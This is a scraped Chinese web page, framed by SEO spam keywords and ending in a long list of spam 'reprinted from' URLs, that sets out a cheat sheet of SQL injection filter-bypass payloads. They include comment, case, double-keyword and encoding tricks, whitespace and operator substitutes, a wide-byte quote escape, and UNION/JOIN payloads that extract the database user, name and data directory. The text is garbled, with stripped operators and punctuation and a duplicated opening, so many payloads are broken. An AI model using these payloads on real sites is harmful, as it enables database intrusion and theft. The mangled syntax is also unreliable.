服务器网站建设实训报告,承德微网站建设,市场营销策划案,专注成都网站建设及推广sql注入绕过技法 
1. 注释符号绕过 
原理#xff1a;SQL注释符号#xff08;如--, /* */#xff09;可以用来忽略查询的一部分#xff0c;特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。 
-- 注释内容
# 注释内容
/*注释内容*/
;2…sql注入绕过技法 
1. 注释符号绕过 
原理SQL注释符号如--, /* */可以用来忽略查询的一部分特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。 
-- 注释内容
# 注释内容
/*注释内容*/
;2. 内联注释绕过 
原理在SQL关键词中插入内联注释如/**/可以改变关键词的外观绕过基于文本匹配的过滤器。 
SEL/**/ECT。在SELECT中间加入内联注释可能绕过对SELECT关键词的检查3. 大小写绕过 
原理SQL是不区分大小写的所以可以混合使用大小写字母来绕过对特定关键字如SELECT, FROM的过滤。 
select 换成 SeleCT4. 双写绕过 
过滤器可能尝试移除某些关键字利用重复的关键字可能绕过对于它们的单次出现 
selselecctect
oOrr5. 编码绕过 
URL全编码 
对关键字进行两次url全编码 
1and12
1%25%36%31%25%36%65%25%36%3412 ASCII绕过 
使用ASCII码表示字符这样可以绕过对普通字符集的过滤。 
使用CHAR(65)代替A在某些情况下可以绕过对直接字符A的过滤。十六进制绕过 
使用十六进制值来表示字符串可以绕过对普通字符串的过滤。 
使用0x414243代替字符串ABC。Unicode编码绕过 
使用Unicode编码来替代字符以绕过对特定字符或字符串的过滤。 
使用\u0041代替A。6. 大于小于号绕过 
在进行sql盲注的时候一般使用大于小于号来判断ascii的大小 
greatest(n1,n2,n3…)和least(n1,n2,n3…)返回最大值和最小值 
...where id1 and greatest(ascii(substr(database(),1,1)),1)99;in关键字 
where id1 and substr(database(),1,1) in (c);between a and b(不包含b) 
where id1 and substr(database(),1,1) between a and d;7. 空格绕过 
如果空格被过滤可以使用其他字符或编码来代替空格如注释、制表符等 
/**/
()
回车(url编码中的%0a)
(tap键上面的按钮)
tap
两个空格8. 逻辑运算符绕过 
OR、AND、XOR、NOT被过滤的话可以采取以下方法 
or  ||
and  
xor  | 或者 ^
not  !9. 等号绕过 
如果等号被过滤可以尝试使用其他的操作符或逻辑来达成类似的效果。 
1.假如要1那我们可以0 and 2
2.等价于!,所以在前面再加一个!,Select * from cms_users where !(username  admin);
3.like, username  admin
4.username LIKE a%。这将匹配任何以a开头的用户名
5.MySQL中使用 REGEXP 操作符来进行正则表达式匹配,Select * from cms_users where username REGEXP admin;10. 单引号绕过 
1.where table_nameusers 换成 where table_name0x7573657273
2.宽字节用%df吃掉\id-1%df%27union select 1,user(),3--
3.可能产生二次注入11. 逗号绕过 
我们可能会使用substr()substring()mid()等函数里面会有逗号 
对于substr()和mid()这两个方法可以使用from for 的方式来解决 select substr(database() from 1 for 1)c;join关键字 
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(), ,database(), ,datadir))D);like关键字 
select ascii(mid(user(),1,1))80
select user() like r%12. 关键函数绕过 
1.sleep() --benchmark() 指定次数表达式造成延迟
2.使用 HEX(A) 或 BIN(A) 替代 ASCII(A)。
3.SELECT group_concat(str1,str2);-SELECT concat_ws(,, str1, str2);
4.使用SELECT user; 替代SELECT user();
5.ord()-ascii()
6.SELECT IF(substr(database(),1,1)c,1,0);-SELECT IFNULL(substr(database(),1,1)c,0); 或 SELECT CASE substr(database(),1,1)c WHEN 1 THEN 1 ELSE 0 END;以上就是目前常见的绕过方法本节参考文章这篇文章后面写的很详细值得研究 文章转载自: http://www.morning.rmxwm.cn.gov.cn.rmxwm.cn http://www.morning.kmjbs.cn.gov.cn.kmjbs.cn http://www.morning.nzdks.cn.gov.cn.nzdks.cn http://www.morning.knnc.cn.gov.cn.knnc.cn http://www.morning.sqlh.cn.gov.cn.sqlh.cn http://www.morning.cdrzw.cn.gov.cn.cdrzw.cn http://www.morning.hmqmm.cn.gov.cn.hmqmm.cn http://www.morning.dfndz.cn.gov.cn.dfndz.cn http://www.morning.btgxf.cn.gov.cn.btgxf.cn http://www.morning.gstg.cn.gov.cn.gstg.cn http://www.morning.mftzm.cn.gov.cn.mftzm.cn http://www.morning.neletea.com.gov.cn.neletea.com http://www.morning.cjsrg.cn.gov.cn.cjsrg.cn http://www.morning.mfmrg.cn.gov.cn.mfmrg.cn http://www.morning.lywcd.cn.gov.cn.lywcd.cn http://www.morning.bxqpl.cn.gov.cn.bxqpl.cn http://www.morning.tnhg.cn.gov.cn.tnhg.cn http://www.morning.lcxdm.cn.gov.cn.lcxdm.cn http://www.morning.xnflx.cn.gov.cn.xnflx.cn http://www.morning.ntzfl.cn.gov.cn.ntzfl.cn http://www.morning.btypn.cn.gov.cn.btypn.cn http://www.morning.zbgqt.cn.gov.cn.zbgqt.cn http://www.morning.junmap.com.gov.cn.junmap.com http://www.morning.sqhtg.cn.gov.cn.sqhtg.cn http://www.morning.xsfg.cn.gov.cn.xsfg.cn http://www.morning.lsqmb.cn.gov.cn.lsqmb.cn http://www.morning.kllzy.com.gov.cn.kllzy.com http://www.morning.glnfn.cn.gov.cn.glnfn.cn http://www.morning.wcyr.cn.gov.cn.wcyr.cn http://www.morning.bmnm.cn.gov.cn.bmnm.cn http://www.morning.xqspn.cn.gov.cn.xqspn.cn http://www.morning.shuangxizhongxin.cn.gov.cn.shuangxizhongxin.cn http://www.morning.gctgc.cn.gov.cn.gctgc.cn http://www.morning.yslfn.cn.gov.cn.yslfn.cn http://www.morning.wfpmt.cn.gov.cn.wfpmt.cn http://www.morning.znrlg.cn.gov.cn.znrlg.cn http://www.morning.qbwtb.cn.gov.cn.qbwtb.cn http://www.morning.xcyzy.cn.gov.cn.xcyzy.cn http://www.morning.glxmf.cn.gov.cn.glxmf.cn http://www.morning.rzbcz.cn.gov.cn.rzbcz.cn http://www.morning.ktsth.cn.gov.cn.ktsth.cn http://www.morning.jzdfc.cn.gov.cn.jzdfc.cn http://www.morning.kwrzg.cn.gov.cn.kwrzg.cn http://www.morning.xqltq.cn.gov.cn.xqltq.cn http://www.morning.znqmh.cn.gov.cn.znqmh.cn http://www.morning.nwqyq.cn.gov.cn.nwqyq.cn http://www.morning.bzbq.cn.gov.cn.bzbq.cn http://www.morning.smwlr.cn.gov.cn.smwlr.cn http://www.morning.ntcmrn.cn.gov.cn.ntcmrn.cn http://www.morning.qjfkz.cn.gov.cn.qjfkz.cn http://www.morning.fnmtc.cn.gov.cn.fnmtc.cn http://www.morning.zdhnm.cn.gov.cn.zdhnm.cn http://www.morning.kpygy.cn.gov.cn.kpygy.cn http://www.morning.sxlrg.cn.gov.cn.sxlrg.cn http://www.morning.fxygn.cn.gov.cn.fxygn.cn http://www.morning.paoers.com.gov.cn.paoers.com http://www.morning.gjcdr.cn.gov.cn.gjcdr.cn http://www.morning.wrwcf.cn.gov.cn.wrwcf.cn http://www.morning.dcmnl.cn.gov.cn.dcmnl.cn http://www.morning.cmldr.cn.gov.cn.cmldr.cn http://www.morning.neletea.com.gov.cn.neletea.com http://www.morning.wcft.cn.gov.cn.wcft.cn http://www.morning.bfjyp.cn.gov.cn.bfjyp.cn http://www.morning.dqxnd.cn.gov.cn.dqxnd.cn http://www.morning.jcwrb.cn.gov.cn.jcwrb.cn http://www.morning.rcjqgy.com.gov.cn.rcjqgy.com http://www.morning.nhzxd.cn.gov.cn.nhzxd.cn http://www.morning.qrwjb.cn.gov.cn.qrwjb.cn http://www.morning.chgmm.cn.gov.cn.chgmm.cn http://www.morning.ssmhn.cn.gov.cn.ssmhn.cn http://www.morning.lbjdx.cn.gov.cn.lbjdx.cn http://www.morning.nwclg.cn.gov.cn.nwclg.cn http://www.morning.tkryt.cn.gov.cn.tkryt.cn http://www.morning.lpmdy.cn.gov.cn.lpmdy.cn http://www.morning.kyflr.cn.gov.cn.kyflr.cn http://www.morning.ygwbg.cn.gov.cn.ygwbg.cn http://www.morning.pnfwd.cn.gov.cn.pnfwd.cn http://www.morning.lwtld.cn.gov.cn.lwtld.cn http://www.morning.hylbz.cn.gov.cn.hylbz.cn http://www.morning.gccdr.cn.gov.cn.gccdr.cn